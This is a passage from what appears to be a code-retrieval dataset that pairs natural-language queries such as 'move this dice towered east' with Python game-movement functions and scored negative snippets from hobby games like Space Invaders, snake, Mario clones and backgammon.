(abs(newY) > self.BOX_RANGE):\\n # print(\\\"choosing new direction... \\\",end=\\\"\\\")\\n self.chooseNewDirection()\\n # print(self.dx, self.dy)\\n newX = self.xcor() + self.dx\\n newY = self.ycor() + self.dy\\n\\n # now move our monster\\n super().move()\",\n \"def _move(self, event):\\n if self._current_tower.get_value() > self._coins:\\n return\\n\\n #move the shadow tower to mouse position\\n position = event.x, event.y\\n self._current_tower.position = position\\n\\n legal, grid_path = self._game.attempt_placement(position)\\n\\n #find the best path and covert positions to pixel positions\\n path = [self._game.grid.cell_to_pixel_centre(position)\\n for position in grid_path.get_shortest()]\\n\\n #Task 1.2 (Tower placement): Draw the tower preview here\\n self._view.draw_preview(self._current_tower, legal)\\n self._view.draw_path(path)\",\n \"def turn_right(self):\\n pass\",\n \"def move(self):\\n assert self.is_alive, \\\"Sprite is dead, and should not be able to move\\\"\\n if self.health > 3:\\n self.y += random.randint(-1, 1) # change by -1, 0, 1\\n self.x += random.randint(-1, 1) # change by -1, 0, 1\\n print(self.name, \\\"moves to position\\\", str(self.x), \\\",\\\", str(self.y))\",\n \"def move(self):\\n pass\",\n \"def move(self, direction):\\n newx = self.x\\n newy = self.y\\n newy += random.randint(-1, 1)\\n newx += random.randint(-1, 1)\\n if self.tmap.contents[newy][newx] != '#':\\n self.x = newx\\n self.y = newy\",\n \"def dest(side):\\n return (side - 1) % 3 # cw(side)\",\n \"def move(t, length):\\n pu(t)\\n\\t\\n fd(t, length)\\n pd(t)\",\n \"def _change_fleet_direction(self): \\n for alien in self.aliens.sprites():\\n alien.rect.y += self.settings.fleet_drop_speed\\n self.settings.fleet_direction *= -1\",\n \"def move(self):\\n self._move_range_shuffle(3)\\n self._move_satisfy_random_constraint()\\n # self._move_range_shuffle(3)\\n #if (curr_energy > 50):\\n # self._move_satisfy_random_constraint()\\n #else:\\n # self._move_range_shuffle(3)\",\n \"def steerright(self):\\n self.direction = self.direction-self.steering\\n if self.direction < 0:\\n self.direction = 360-90\\n self.image, self.rect = rot_center(self.image_orig,self.rect,self.direction)\",\n \"def move_down():\\n return __maze.move_down()\",\n \"def move(self, direction: str) -> int:\\n x, y = self.snake[-1][0] + self.dirs[direction][0], self.snake[-1][1] + self.dirs[direction][1]\\n # print(x,y)\\n # went out bound\\n if x >= self.n or y >= self.m or x < 0 or y < 0:\\n return -1\\n tail = self.snake.popleft()\\n self.snake_set.discard(tail)\\n if (x, y) in self.snake_set:\\n return -1\\n\\n if len(self.food) > 0 and (x, y) == (self.food[0][0], self.food[0][1]):\\n self.food.popleft()\\n self.snake.appendleft(tail)\\n self.snake_set.add(tail)\\n self.snake.append((x, y))\\n self.snake_set.add((x, y))\\n\\n return len(self.snake) - 1\",\n \"def moveDown():\\n tt.right(90)\\n tt.forward(60)\\n tt.right(90)\\n tt.forward(250)\\n tt.right(180)\",\n \"def moveRight(self,board_object):\\n\\t\\tif checkClash(board_object,self,self.x,self.y+1) == 0:\\n\\t\\t\\toverlayMatrix(board_object,self,self.x,self.y+1)\\n\\t\\t\\tself.setPos(self.x,self.y+1)\\n\\t\\t\\tif self.y > board_object.start + 25: \\n\\t\\t\\t\\tboard_object.start += 1\\n\\t\\telse:\\n\\t\\t\\treturn 1\",\n \"def _change_fleet_direction(self):\\n\\t\\tfor alien in self.aliens.sprites():\\n\\t\\t\\talien.rect.y += self.settings.fleet_drop_speed\\n\\t\\tself.settings.fleet_direction*=-1\",\n \"def hanoi_tower(n):\\n def move_tower(height, from_pole, to_pole, with_pole):\\n if height >= 1:\\n move_tower(height-1, from_pole, with_pole, to_pole)\\n move_disc(from_pole, to_pole, height)\\n move_tower(height-1, with_pole, to_pole, from_pole)\\n\\n def move_disc(fp, tp, height):\\n tp.append(fp.pop())\\n show_poles()\\n\\n def show_poles():\\n line = \\\"\\\"\\n line += '{:<{}s}'.format(str(a), str_len)\\n line += '{:<{}s}'.format(str(b), str_len)\\n line += '{:<{}s}'.format(str(c), str_len)\\n print(line)\\n\\n a = list(range(n, 0, -1))\\n b = []\\n c = []\\n str_len = len(str(a))\\n\\n show_poles()\\n move_tower(n, a, c, b)\\n print('\\\\n')\",\n \"def _change_fleet_direction(self):\\n for alien in self.aliens.sprites():\\n alien.rect.y += self.settings.fleet_drop_speed\\n self.settings.fleet_direction *= -1\",\n \"def _change_fleet_direction(self):\\n for alien in self.aliens.sprites():\\n alien.rect.y += self.settings.fleet_drop_speed\\n self.settings.fleet_direction *= -1\",\n \"def move(self, row, col, player):\",\n \"def towel_of_hanoi(n):\\n degs = [[n - i for i in range(n)], [], []]\\n move(degs, 0, 2, n)\",\n \"def move_of_king_and_rook(self, from_row, from_col, to_row, to_col): \\n #provjere da li su kraljevi ili topovi inicirali pomijeranje\\n if(from_row == 7 and from_col == 0):\\n self.wrl_moved = True\\n elif(from_row == 7 and from_col == 7):\\n self.wrr_moved = True\\n elif(from_row == 7 and from_col == 4):\\n self.wk_moved = True\\n elif(from_row == 0 and from_col == 0):\\n self.brl_moved = True\\n elif(from_row == 0 and from_col == 7):\\n self.brr_moved = True\\n elif(from_row == 0 and from_col == 4):\\n self.bk_moved = True\\n \\n #provjera da li je neko pojeo topove\\n if(to_row == 7 and to_col == 0):\\n self.wrl_moved = True\\n elif(to_row == 7 and to_col == 7):\\n self.wrr_moved = True\\n elif(to_row == 0 and to_col == 0):\\n self.brl_moved = True\\n elif(to_row == 0 and to_col == 7):\\n self.brr_moved = True\",\n \"def make_move(self, direction):\\r\\n\\t\\tif direction == 0:\\r\\n\\t\\t\\tself.board[self.x][self.y], self.board[self.x-1][self.y] = self.board[self.x-1][self.y], self.board[self.x][self.y]\\r\\n\\t\\t\\tself.x -= 1\\r\\n\\r\\n\\t\\telif direction == 1:\\r\\n\\t\\t\\tself.board[self.x][self.y], self.board[self.x][self.y+1] = self.board[self.x][self.y+1], self.board[self.x][self.y]\\r\\n\\t\\t\\tself.y += 1\\r\\n\\r\\n\\t\\telif direction == 2:\\r\\n\\t\\t\\tself.board[self.x][self.y], self.board[self.x+1][self.y] = self.board[self.x+1][self.y], self.board[self.x][self.y]\\r\\n\\t\\t\\tself.x += 1\\r\\n\\r\\n\\t\\telif direction == 3:\\r\\n\\t\\t\\tself.board[self.x][self.y], self.board[self.x][self.y-1] = self.board[self.x][self.y-1], self.board[self.x][self.y]\\r\\n\\t\\t\\tself.y -= 1\",\n \"def movement(self):\",\n \"def _change_fleet_direction(self):\\n\\t\\tfor auto in self.autos.sprites():\\n\\t\\t\\tauto.rect.y -= self.settings.fleet_rise_speed\\n\\t\\tself.settings.fleet_direction *= -1\",\n \"def move_to_position2(self):\",\n \"def turn_right(self):\\n self.facing_direction += self.config\\n if self.facing_direction > 7:\\n self.facing_direction -= 8\\n self.x, self.y = self.compute_positions()\",\n \"def roll_dices(self):\\n dice1 = random.randint(1, 6)\\n dice2 = random.randint(1, 6)\\n\\n self.client.send_player_end_dices()\\n self.game.player_rolled_dices([dice1, dice2])\\n asyncio.ensure_future(self.move(dice1 + dice2))\",\n \"def move(self, direction: str) -> int:\\n (i, j), _ = self.position.popitem(last=True) # current position\\n self.position[(i, j)] = 0 # add back \\n if direction == \\\"U\\\": i -= 1\\n elif direction == \\\"L\\\": j -= 1\\n elif direction == \\\"R\\\": j += 1\\n else: i += 1\\n if self.food and self.food[0] == [i, j]: self.food.popleft()\\n else: self.position.popitem(last=False)\\n if not (0 <= i < self.height and 0 <= j < self.width) or (i, j) in self.position: return -1 # game over \\n self.position[(i, j)] = 0\\n return len(self.position)-1\",\n \"def go_up(self):\\n\\t\\tself.x,self.y = Mario._get_coordinates(Board.prev_i,Board.prev_j,Board.prev_k)\\n\\t\\tMario._pass(self.x,self.y)\\n\\t\\ttemp = self.x\\n\\t\\tflag = 0\\n\\t\\twhile(temp>=self.x-8):\\n\\t\\t\\tif(Board.board[temp][self.y] in obstacles):\\n\\t\\t\\t\\tflag = 1\\n\\t\\t\\t\\ttemp_x = temp+1\\n\\t\\t\\t\\tbreak\\n\\t\\t\\ttemp = temp-1\\n\\n\\t\\tif(not flag):\\n\\t\\t\\ttemp_x = self.x-8\\n\\n\\t\\tif Board.board[temp_x-1][self.y]=='B':\\n\\t\\t\\tnew = self.y\\n\\t\\t\\tfor i in range(new-4,new+5):\\n\\t\\t\\t\\tif Board.board[temp_x-1][i]=='B':\\n\\t\\t\\t\\t\\tBoard.board[temp_x-1][i]='T'\\n\\t\\t\\tMario.bonus+=50\\n\\t\\t\\tif self.y==229 or self.y ==230 or self.y==231:\\n\\t\\t\\t\\tBoard.board[23][230]='P'\\n\\n\\n\\t\\tBoard.board[temp_x][self.y] = 'M'\\t\\t\\n\\t\\tos.system('clear')\\n\\t\\tinit_board(Board.prev_i,Board.prev_j,Board.prev_k)\",\n \"def make_move(self, move):\\n if int(move) < 0 or int(move) > 48 or self.board[int(move) // 7][int(move) % 7] != \\\"\\\" or int(move) % 2 == 0:\\n raise ValueError(\\\"{} is not a valid move for {}\\\".format(move, self.board))\\n DotsAndBoxesState.score1 += self.check_score(move)\\n self.board[int(move) // 7][int(move) % 7] = colors[self.turn] + self.turn + \\\"\\\\u001b[0m\\\"\\n self.turn = get_opponent(self.turn) #change into another player's trun\",\n \"def move(x,y):\\r\\n pass\",\n \"def _move_down(self):\\n new_pos = self._pos + _Vec3(0, -1, 0)\\n block_ = self._get_block(new_pos)\\n if block_ != _WATER:\\n self._add_to_inv(block_)\\n self._move(new_pos)\",\n \"def move_random(self, board: Board) -> None:\\n rnd_move_idx = randint(0,4)\\n # moves: stay, up, left, right, down\\n moves = [[0,0], [0,-1], [-1,0], [1,0], [0,1]]\\n\\n if board.can_position_at(self.x + moves[rnd_move_idx][0], self.y + moves[rnd_move_idx][1]):\\n board.set_element_at_position(0, self.x, self.y)\\n self.x += moves[rnd_move_idx][0]\\n self.y += moves[rnd_move_idx][1]\\n board.set_element_at_position(3, self.x, self.y)\\n print(\\\"Bomberman moved to [\\\", self.x, \\\",\\\", self.y, \\\"]\\\")\",\n \"def change_fleet_direction(si_settings, aliens):\\n for alien in aliens.sprites():\\n alien.rect.y += si_settings.fleet_drop_speed\\n si_settings.fleet_direction *= -1\",\n \"def turn_around():\\n for i in range(2):\\n turn_left()\",\n \"def makeMove(self, move, player):\",\n \"def change_fleet_direction(si_settings, aliens):\\r\\n for alien in aliens.sprites():\\r\\n alien.rect.y += si_settings.fleet_drop_speed\\r\\n si_settings.fleet_direction *= -1\",\n \"def right_twist(self):\\n self.turn_by_deg(180)\\n #time.sleep(.1)\\n self.stop()\\n self.turn_by_deg(180)\\n #time.sleep(.1)\\n self.stop()\",\n \"def move_marble(self, coordinates, direction):\\n pass\",\n \"def movev2(self, abz_increase, abz_decrease, bbz_increase, bbz_decrease, north, south, west):\\n if self._z >= 75:\\n a = random.randint(1, 100)\\n# print(str(a))\\n if a <= abz_increase:\\n self._z += 1\\n if a > abz_increase and a <= (abz_increase + abz_decrease):\\n self._z -= 1\\n if a > (abz_increase + abz_decrease):\\n self._z = self._z\\n else:\\n c = random.randint(1, 100)\\n# print(str(c))\\n if c <= bbz_increase:\\n self._z += 1\\n if c > bbz_increase and c <= (bbz_increase + bbz_decrease):\\n self._z -= 1\\n if c > (bbz_increase + bbz_decrease):\\n self._z = self._z\\n self._z -= 1\\n \\n b = random.randint(1, 100)\\n# print(str(b))\\n if b <= north:\\n self._y += 1\\n if b > north and b <= (north + south):\\n self._y -= 1\\n if b > (north + south) and b <= (north + south + west):\\n self._x -= 1\\n if b > (north + south + west):\\n self._x += 1\",\n \"def move(self):\\n \\n # checks for bots nearby\\n next_move = self.follow()\\n \\n # finds a random move if no bot\\n if next_move is self.position:\\n self.position = self.wander()\\n else:\\n self.position = next_move\",\n \"def move(self):\\n if VERBOSE:\\n print('-- move', self.move_number, '--')\\n self.display_cups()\\n\\n picked_up = self.pick_up_cups(3)\\n self.update_destination_cup()\\n\\n if VERBOSE:\\n print('pick up: ', end='')\\n for pick in picked_up:\\n print(pick, end=' ')\\n print()\\n print('destination:', self.destination)\\n print()\\n\\n self.insert_cups(inserts=picked_up, insert_after=self.destination)\\n self.select_new_current_cup()\\n\\n self.move_number += 1\",\n \"def __snake_move(self):\\n self.__eat_candy()\\n # move tail and body\\n n_snake = len(self.__snake)\\n for i in range(1, n_snake):\\n s2 = self.__snake[n_snake - i]\\n s1 = self.__snake[n_snake - i - 1]\\n s2.move(s1.pos())\\n # move head\\n pos = self.__snake[0].pos()\\n tmp_snake = Snake(self, direction=self.__h_direction, position=pos)\\n h_pos = self.__get_next_head_pos(tmp_snake)\\n tmp_snake.remove()\\n icon = f'resources/{self.__directions[self.__h_direction]}.svg'\\n new_head = Snake(self, icon, self.__h_direction, self.__cell_edge, h_pos)\\n old_head = self.__snake[0]\\n self.__snake[0] = new_head\\n old_head.remove()\\n self.__crash_check()\",\n \"def move_repeatedly():\\n check = check50.run(run_command)\\n check.stdin(\\\"WEST\\\").stdout(room_2_description)\\n check.stdin(\\\"EAST\\\").stdout(room_1_name)\\n check.stdin(\\\"WEST\\\").stdout(room_2_name)\",\n \"def next_turn(self): \\n if (self.moves):\\n self.board = self.select_move() \\n self.moves = []\\n self.roll = self.roll_dice()\\n self.player = not self.player\\n self.generate_valid_moves()\",\n \"def turn_ship_left(self):\\n self.degrees += movement\",\n \"def test_move_knight_legally(self):\\n self.c.board[6] = [(0, 0) for i in range(8)]\\n for piece in [('N', True), ('N', False)]:\\n self.c.turn = piece[1]\\n self.c.board[4][4] = piece\\n for dest in ['d6', 'f6', 'c5', 'g5', 'c3', 'g3', 'd2', 'f2']:\\n self.groups['dest'] = dest\\n self.assertEqual(self.c._knight_evaluator(self.groups), (4, 4))\",\n \"def move_west(self):\\n self.horizontal = (self.horizontal * 2)[1:5]\\n self.vertical[0] = self.horizontal[1]\\n self.vertical[2] = self.horizontal[3]\",\n \"def move(self, direction):\\n # replace with your code\\n pass\",\n \"def move(self, direction):\\n # replace with your code\\n pass\",\n \"def turn_right(self):\\n turn = self.__heading - Ship.TURN\\n if turn < Ship.MIN_HEADING:\\n turn += Ship.MAX_HEADING\\n self.__heading = turn\",\n \"def MoveRightStep(self):\\n if self.facing == 0:\\n self.facing = 1\\n self.x += self.stepLeft\\n elif self.facing == 1:\\n self.facing = 2\\n self.y += self.stepUp\\n elif self.facing == 2:\\n self.facing = 3\\n self.x -= self.stepRight\\n elif self.facing == 3:\\n self.facing = 0\\n self.y -= self.stepDown\",\n \"def make_move(self, row, column):\\n\\t\\tif self.board[int(row)][int(column)] == '-':\\n\\t\\t\\tself.board[int(row)][int(column)] = self.marker\\n\\t\\telse:\\n\\t\\t\\tprint(\\\"That spot is occupied, you messed up, you lose your turn for doing bad things\\\")\",\n \"def wander(self):\\n \\n has_new_pos = False\\n while not has_new_pos:\\n move = random.choice(self.moves)\\n new_pos = add_lists(move, self.position)\\n has_new_pos = check_bounds(new_pos, self.grid_size)\\n return new_pos\",\n \"def move_to_position1(self):\",\n \"def change_fleet_direction(ai_settings, aliens):\\n for alien in aliens.sprites():\\n alien.rect.y += ai_settings.fleet_drop_speed\\n ai_settings.fleet_direction *= -1\",\n \"def change_fleet_direction(ai_settings, aliens):\\n for alien in aliens.sprites():\\n alien.rect.y += ai_settings.fleet_drop_speed\\n ai_settings.fleet_direction *= -1\",\n \"def move_draught(event):\\n global red_turn\\n if(red_turn == False):\\n return\\n draught = board.find_withtag(CURRENT)[0]\\n board.coords(draught,event.x-click_offset[0],event.y-click_offset[1],event.x-click_offset[0]+board_divisions,event.y-click_offset[1]+board_divisions)\",\n \"def move_down(self):\\n self.y -= 1\",\n \"def AeroMove(self, pos):\\r\\n\\r\\n pass\",\n \"def move_to(self, x, y):\\r\\n self.__current_room = x, y\",\n \"def move(exits, direction):\\r\\n return rooms[exits[direction]]\",\n \"def left_twist(self):\\n self.turn_by_deg(-179)\\n #time.sleep(.1)\\n self.stop()\\n self.turn_by_deg(-179)\\n #time.sleep(.1)\\n self.stop()\",\n \"def go_down(self):\\n\\t\\tself.x,self.y = Mario._get_coordinates(Board.prev_i,Board.prev_j,Board.prev_k)\\n\\t\\tif(Board.board[self.x+1][self.y]=='@'):\\n\\t\\t\\tMario.bonus += 100\\n\\t\\t\\tBoard.board[self.x+1][self.y]='M'\\n\\t\\t\\tcall([\\\"aplay\\\",\\\"-q\\\",\\\"smb_stomp.wav\\\"])\\n\\n\\t\\t\\tfor en in Enemy.enemies:\\n\\t\\t\\t\\tif en.x==self.x+1 and en.y == self.y:\\n\\t\\t\\t\\t\\tEnemy.enemies.remove(en)\\n\\t\\t\\tMario._pass(self.x,self.y)\\n\\n\\t\\telif Board.board[self.x+1][self.y]=='S' or Board.board[self.x+1][self.y]=='E':\\n\\t\\t\\tMario._pass(self.x,self.y)\\n\\t\\t\\tBoard.board[self.x-25][self.y]='M'\\n\\n\\t\\telif Board.board[self.x+1][self.y]=='P':\\n\\t\\t\\tMario.lives+=1\\n\\t\\t\\tMario._pass(self.x,self.y)\\n\\t\\t\\tBoard.board[self.x+1][self.y]='M'\\n\\t\\t\\tcall([\\\"aplay\\\",\\\"-q\\\",\\\"smb_1-up.wav\\\"])\\n\\n\\t\\telif Board.board[self.x+1][self.y]=='A':\\n\\t\\t\\tMario.attack=1\\n\\t\\t\\tBoard.board[self.x][self.y]=' '\\n\\t\\t\\tBoard.board[self.x+1][self.y]='M'\\n\\t\\t\\tcall([\\\"aplay\\\",\\\"-q\\\",\\\"smb_powerup.wav\\\"])\\t\\t\\t\\t\\t\\t\\n\\n\\t\\telif Board.board[self.x+1][self.y]=='-':\\n\\t\\t\\tMario._pass(self.x,self.y)\\n\\t\\t\\tMario.lives -= 1\\n\\t\\t\\tcall([\\\"aplay\\\",\\\"-q\\\",\\\"smb_mariodie.wav\\\"])\\n\\t\\t\\tif Mario.lives<=0:\\n\\t\\t\\t\\tcall([\\\"aplay\\\",\\\"-q\\\",\\\"smb_gameover.wav\\\"])\\n\\t\\t\\t\\treturn \\\"exit\\\"\\n\\t\\t\\tminimum = 500\\n\\t\\t\\tos.system('clear')\\n\\t\\t\\tBoard.board[self.x][self.y]=' '\\n\\t\\t\\tprint(\\\"\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\t\\\\t\\\\t\\\\t\\\\t\\\\tNumber of Mario left:\\\",Mario.lives)\\n\\t\\t\\tfor gaps in Board.gap:\\n\\t\\t\\t\\tif self.y-gaps>=0:\\n\\t\\t\\t\\t\\tif self.y-gaps < minimum:\\n\\t\\t\\t\\t\\t\\tminimum = self.y - gaps\\n\\t\\t\\t\\t\\t\\ttemp_space = gaps\\n\\n\\t\\t\\tBoard.board[35][temp_space-3]='M'\\n\\t\\t\\ttime.sleep(2)\\n\\n\\n\\t\\telif Board.board[self.x+1][self.y]=='0':\\n\\t\\t\\tMario._pass(self.x,self.y)\\n\\t\\t\\tMario.score+=1\\n\\t\\t\\tBoard.board[self.x+1][self.y]='M'\\n\\n\\t\\telif Board.board[self.x+1][self.y]=='/' or Board.board[self.x+1][self.y]=='<':\\n\\t\\t\\tBoard.board[self.x][self.y]='M'\\n\\n\\t\\telif Board.board[self.x+1][self.y] not in obstacles:\\n\\t\\t\\tMario._pass(self.x,self.y)\\n\\t\\t\\tBoard.board[self.x+1][self.y]='M'\\n\\n\\t\\tos.system('clear')\\n\\t\\tinit_board(Board.prev_i,Board.prev_j,Board.prev_k)\",\n \"def force_move():\\n if ZERO_BASE_PLYR_POS in range(0, 10):\\n # we cant go up, so go down\\n move_player(\\\"south\\\")\\n else:\\n move_player(\\\"north\\\")\",\n \"def move_buildings(self):\",\n \"def set_rival_move(self, pos):\\n self.board[pos[0]][pos[1]] = 2\",\n \"def move(self, row, col, player):\\n offset = player * 2 - 3 # 1 or -1\\n self.row[row] += offset\\n self.col[col] += offset\\n if row == col:\\n self.diag += offset\\n if row + col == self.n - 1:\\n self.anti_diag += offset\\n if self.n in [self.row[row], self.col[col], self.diag, self.anti_diag]:\\n return 2\\n if -self.n in [self.row[row], self.col[col], self.diag, self.anti_diag]:\\n return 1\\n return 0\",\n \"def swipeDown (self) :\\n rotated = Grid(np.rot90(np.rot90(self.grid)))\\n self.grid = np.rot90(np.rot90(rotated.swipeBase()))\",\n \"def swipeRight (self) :\\n rotated = Grid(np.rot90(self.grid))\\n self.grid = np.rot90(np.rot90(np.rot90(rotated.swipeBase())))\",\n \"def ran_direction(self,room):\\r\\n ran_dirt = self.random()\\r\\n if 1 == ran_dirt: \\r\\n room.front_attch(True)\\r\\n elif 2 == ran_dirt: \\r\\n room.back_attch(True)\\r\\n elif 3 == ran_dirt: \\r\\n room.left_attch(True)\\r\\n elif 4 == ran_dirt: \\r\\n room.right_attch(True)\\r\\n return room\",\n \"def move(self, direction, cycles):\\n\\t\\tpass\",\n \"def move_girl2(girl):\\n global trainer_speed, girlcount2, girl_left2\\n if girl_left2:\\n for i in girl:\\n i.x -= trainer_speed\\n i.move_speed()\\n girlcount2 += 0.5\\n girl_frame = int(girlcount2) % 3\\n camera.draw(girl[girl_frame])\\n else:\\n for i in girl:\\n i.x += trainer_speed\\n i.move_speed()\\n girlcount2 += 0.5\\n girl_frame = int(girlcount2) % 3\\n camera.draw(girl[girl_frame + 3])\\n for each in girl:\\n if each.x < 20:\\n girl_left2 = False\\n if each.x > 780:\\n girl_left2 = True\",\n \"def move_right(self):\\n self.rect.x += 5 # Moves to the right by 5\\n\\n # If the player reaches the edge of the screen, they can't go further\\n if self.rect.x >= 580:\\n self.rect.x = 580\",\n \"def _change_fleet_direction(self):\\n for alien in self.aliens.sprites():\\n alien.rect.x -= self.settings.fleet_approach_speed\\n self.settings.fleet_direction *= -1\",\n \"def move_to(self, new_pos, pass_go=True):\\r\\n new_pos = new_pos % 40\\r\\n if self.pos > new_pos and pass_go:\\r\\n self.money += 200\\r\\n self.pos = new_pos\",\n \"def do_west(self, arg):\\r\\n moveDirection('west')\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.6450135","0.6440476","0.6399554","0.6394947","0.63425684","0.6298838","0.6269156","0.620099","0.61914253","0.618724","0.61674786","0.61603296","0.6153434","0.61458814","0.6130453","0.61232764","0.61162215","0.6090203","0.60896474","0.6066804","0.5977515","0.59721625","0.59562796","0.5944641","0.5938423","0.59366775","0.59345603","0.5926452","0.5888766","0.5873442","0.58647186","0.58507746","0.5833578","0.58270824","0.5825896","0.58064234","0.58030766","0.5791911","0.57880867","0.57804716","0.57738674","0.57738674","0.5742661","0.573972","0.57386136","0.57370925","0.5729066","0.5728596","0.5724407","0.5713167","0.569344","0.5692474","0.5691448","0.5679781","0.5679708","0.56759125","0.5673648","0.5673592","0.5672814","0.5668707","0.5667345","0.5666569","0.56642014","0.5651953","0.5648139","0.56333274","0.5631422","0.562774","0.56249034","0.56219965","0.5618362","0.5612679","0.5609327","0.5609327","0.5605328","0.56046313","0.5602295","0.5602116","0.5599724","0.5595404","0.5595404","0.55952924","0.5587287","0.5584769","0.55829483","0.5575388","0.55737686","0.55661476","0.55622214","0.55530953","0.5551765","0.55505425","0.5549089","0.5539613","0.5535206","0.55344707","0.5531834","0.5528121","0.55261534","0.5524523","0.5520568"],"string":"[\n \"0.6450135\",\n \"0.6440476\",\n \"0.6399554\",\n \"0.6394947\",\n \"0.63425684\",\n \"0.6298838\",\n \"0.6269156\",\n \"0.620099\",\n \"0.61914253\",\n \"0.618724\",\n \"0.61674786\",\n \"0.61603296\",\n \"0.6153434\",\n \"0.61458814\",\n \"0.6130453\",\n \"0.61232764\",\n \"0.61162215\",\n \"0.6090203\",\n \"0.60896474\",\n \"0.6066804\",\n \"0.5977515\",\n \"0.59721625\",\n \"0.59562796\",\n \"0.5944641\",\n \"0.5938423\",\n \"0.59366775\",\n \"0.59345603\",\n \"0.5926452\",\n \"0.5888766\",\n \"0.5873442\",\n \"0.58647186\",\n \"0.58507746\",\n \"0.5833578\",\n \"0.58270824\",\n \"0.5825896\",\n \"0.58064234\",\n \"0.58030766\",\n \"0.5791911\",\n \"0.57880867\",\n \"0.57804716\",\n \"0.57738674\",\n \"0.57738674\",\n \"0.5742661\",\n \"0.573972\",\n \"0.57386136\",\n \"0.57370925\",\n \"0.5729066\",\n \"0.5728596\",\n \"0.5724407\",\n \"0.5713167\",\n \"0.569344\",\n \"0.5692474\",\n \"0.5691448\",\n \"0.5679781\",\n \"0.5679708\",\n \"0.56759125\",\n \"0.5673648\",\n \"0.5673592\",\n \"0.5672814\",\n \"0.5668707\",\n \"0.5667345\",\n \"0.5666569\",\n \"0.56642014\",\n \"0.5651953\",\n \"0.5648139\",\n \"0.56333274\",\n \"0.5631422\",\n \"0.562774\",\n \"0.56249034\",\n \"0.56219965\",\n \"0.5618362\",\n \"0.5612679\",\n \"0.5609327\",\n \"0.5609327\",\n \"0.5605328\",\n \"0.56046313\",\n \"0.5602295\",\n \"0.5602116\",\n \"0.5599724\",\n \"0.5595404\",\n \"0.5595404\",\n \"0.55952924\",\n \"0.5587287\",\n \"0.5584769\",\n \"0.55829483\",\n \"0.5575388\",\n \"0.55737686\",\n \"0.55661476\",\n \"0.55622214\",\n \"0.55530953\",\n \"0.5551765\",\n \"0.55505425\",\n \"0.5549089\",\n \"0.5539613\",\n \"0.5535206\",\n \"0.55344707\",\n \"0.5531834\",\n \"0.5528121\",\n \"0.55261534\",\n \"0.5524523\",\n \"0.5520568\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.0"},"document_rank":{"kind":"string","value":"-1"}}},{"rowIdx":15384,"cells":{"query":{"kind":"string","value":"move this dice towered east"},"document":{"kind":"string","value":"def move_east(self):\n self.horizontal = (self.horizontal * 2)[3:7]\n self.vertical[0] = self.horizontal[1]\n self.vertical[2] = self.horizontal[3]"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def move_east(self):\r\n self.move(dx=1, dy=0)","def move(self):\n \n self.position = self.wander()","def move(self):\r\n if self.d == 'NORTH' and (self.y + 1) <= table_max_y:\r\n self.y += 1\r\n elif self.d == 'EAST' and (self.x + 1) <= table_max_x:\r\n self.x += 1\r\n elif self.d == 'SOUTH' and (self.y - 1) >= 0:\r\n self.y -= 1\r\n elif self.d == 'WEST' and (self.x - 1) >= 0:\r\n self.x -= 1\r\n else:\r\n print(\"Edge of Table Reached!\")","def throw(self, move):\n for dice_index in move:\n self.dice[dice_index - 1] = random.randint(1,6)","def do_east(self, arg):\r\n moveDirection('east')","def move(self):\n if random.random() < 0.5:\n self.y = (self.y + 1) % 100\n else:\n self.y = (self.y - 1) % 100\n if random.random() < 0.5:\n self.x = (self.x + 1) % 100\n else:\n self.x = (self.x - 1) % 100","def shift_board(self, dx, dy):\n self.board = np.roll(self.board, dy, axis=0)\n self.board = np.roll(self.board, dx, axis=1)\n self.agent_locs += [dy, dx]\n self.agent_locs %= self.board.shape\n self.update_exit_locs()","def move(self):\n\n # get the location we WOULD go to\n newX = self.xcor() + self.dx\n newY = self.ycor() + self.dy\n while (abs (newX) > self.BOX_RANGE) or (abs(newY) > self.BOX_RANGE):\n # print(\"choosing new direction... \",end=\"\")\n self.chooseNewDirection()\n # print(self.dx, self.dy)\n newX = self.xcor() + self.dx\n newY = self.ycor() + self.dy\n\n # now move our monster\n super().move()","def _move(self, event):\n if self._current_tower.get_value() > self._coins:\n return\n\n #move the shadow tower to mouse position\n position = event.x, event.y\n self._current_tower.position = position\n\n legal, grid_path = self._game.attempt_placement(position)\n\n #find the best path and covert positions to pixel positions\n path = [self._game.grid.cell_to_pixel_centre(position)\n for position in grid_path.get_shortest()]\n\n #Task 1.2 (Tower placement): Draw the tower preview here\n self._view.draw_preview(self._current_tower, legal)\n self._view.draw_path(path)","def move_draught_end(event):\n global red_draughts, white_draughts\n global board_array\n global old_point\n global die_1_num, die_2_num, doubles\n draught = board.find_withtag(CURRENT)[0]\n #Figure out which point they want to put it on\n bottom = (event.y-click_offset[1] >= board_height//2)\n point_left_edges = [board_divisions*i for i in xrange(0,15) if i != 7]\n is_red = draught in red_draughts\n if bottom == False:\n new_point = 12+point_left_edges.index(min(point_left_edges, key=lambda x:abs(x-event.x+click_offset[0])))\n else:\n new_point = 13-point_left_edges.index(min(point_left_edges, key=lambda x:abs(x-event.x+click_offset[0]))) \n #Check legality\n if(board_array[new_point][1] > 1 and is_red) or (board_array[new_point][0] > 1 and not is_red): #if too many opposite color on square\n draw_draughts()\n return\n if(board_array[0][0] > 0 and is_red and old_point != 0)or(board_array[25][1] > 0 and not is_red and old_point != 25):#Obligated to move off bar first\n draw_draughts()\n return\n if(new_point == 0 and not is_red): #if white trying to bear off\n for i in xrange(7,26):\n if(board_array[i][1] > 0): #If white has a piece outside home, can't bear off\n draw_draughts()\n return\n if(new_point == 25 and is_red): #if red trying to bear off\n for i in xrange(0,18):\n if(board_array[i][0] > 0): #If red has a piece outside home, can't bear off\n draw_draughts()\n return \n \n if(new_point-old_point == die_1_num and is_red) or (old_point-new_point == die_1_num and not is_red):\n if(doubles == False) or (die_2_num != 0):\n die_1_num = 0\n else: \n die_2_num = die_1_num\n doubles = False\n elif(new_point-old_point == die_2_num and is_red) or (old_point-new_point == die_2_num and not is_red):\n if(doubles == False) or (die_1_num != 0):\n die_2_num = 0\n else: \n die_1_num = die_2_num\n doubles = False\n else: #Can't move there on this roll\n draw_draughts()\n return\n update_dice()\n #Update board_array\n if is_red:\n board_array[old_point][0] -= 1\n board_array[new_point][0] += 1\n if(board_array[new_point][1] == 1): #Handle hits\n board_array[new_point][1] -= 1\n 